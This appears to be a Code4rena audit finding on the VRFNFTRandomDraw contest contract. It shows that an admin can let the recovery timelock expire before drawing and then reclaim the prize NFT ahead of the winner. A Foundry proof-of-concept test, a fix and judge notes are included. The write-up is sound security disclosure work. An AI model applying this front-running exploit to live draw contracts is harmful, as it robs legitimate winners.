Platform: Code4rena
Start Date: 13/12/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 77
Period: 3 days
Judge: gzeon
Total Solo HM: 1
Id: 191
League: ETH
Rank: 75/77
Findings: 1
Award: $19.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Soosh
Also found by: 9svR6w, Apocalypto, Ch_301, HE1M, Koolex, SmartSek, Titi, Trust, Zarf, bin2chen, btk, carrotsmuggler, csanuragjain, dic0de, dipp, gz627, hansfriese, hihen, imare, immeas, indijanc, jadezti, kuldeep, ladboy233, maks, neumo, obront, rvierdiiev, sces60107, sk8erboy
19.2206 USDC - $19.22
https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L304-L320 https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L173-L198
An admin of a random draw is able to wait out the timer required to call lastResortTimelockOwnerClaimNFT before starting the draw. This allows an admin to frontrun a winnerClaimNFT transaction if the addr of the winner is not someone the admin would like to see win.
Consider the following foundry test:
function test_owner_is_not_happy_with_winner() public { address winner = address(0x1337); vm.label(winner, "winner"); vm.startPrank(winner); for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) { drawingNFT.mint(); } vm.stopPrank(); vm.startPrank(admin); targetNFT.mint(); address consumerAddress = factory.makeNewDraw( IVRFNFTRandomDraw.Settings({ token: address(targetNFT), tokenId: 0, drawingToken: address(drawingNFT), drawingTokenStartId: 0, drawingTokenEndId: 10, drawBufferTime: 1 hours, recoverTimelock: 1 weeks + 1 seconds, keyHash: bytes32( 0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15 ), subscriptionId: subscriptionId }) ); vm.label(consumerAddress, "drawing instance"); mockCoordinator.addConsumer(subscriptionId, consumerAddress); mockCoordinator.fundSubscription(subscriptionId, 100 ether); VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress); targetNFT.setApprovalForAll(consumerAddress, true); // Wait 2 weeks before drawing -- so the recovery timelock expires vm.warp(2 weeks); // Draw uint256 drawingId = drawing.startDraw(); mockCoordinator.fulfillRandomWords(drawingId, consumerAddress); // Claim back nft (virtually frontrunning the winner claim tx) drawing.lastResortTimelockOwnerClaimNFT(); vm.stopPrank(); }
Manual review
Make sure that the settings.recoverTimelock timstamp is set at drawing instead of initialisation.
#0 - c4-judge
2022-12-17T13:01:48Z
gzeon-c4 marked the issue as duplicate of #146
#1 - c4-judge
2022-12-17T13:01:52Z
gzeon-c4 marked the issue as satisfactory
#2 - c4-judge
2023-01-23T17:09:43Z
gzeon-c4 changed the severity to 3 (High Risk)